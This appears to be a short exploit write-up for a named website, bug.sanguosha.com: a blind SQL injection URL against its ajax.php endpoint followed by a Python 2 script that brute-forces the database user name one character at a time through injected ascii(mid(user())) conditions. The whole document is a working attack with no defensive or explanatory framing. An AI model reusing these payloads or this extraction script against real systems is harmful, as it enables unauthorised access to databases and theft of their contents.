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http://bug.sanguosha.com/ajax.php?a=list&clienttype=0&e=0&g=1 and length(user())=25 AND 000441=000441 -- &page=1&status=100

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,26):
    for payload in payloads:
       
            conn = httplib.HTTPConnection('bug.sanguosha.com', timeout=80)
        
            s = "/ajax.php?a=list&clienttype=0&e=0&g=1 and ascii(mid(user()from(%s)for(1)))=%s AND 1=1 --&page=1&status=100" % (i, ord(payload))
            s=urllib.quote(s,'?,=,&,/')
            conn.request(method='GET', url= s,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
            #print html_doc
            if html_doc.find('11090') > 0:  # True
                user += payload
                print '\n[in progress]', user
                break
print '\n[Done] User is:', user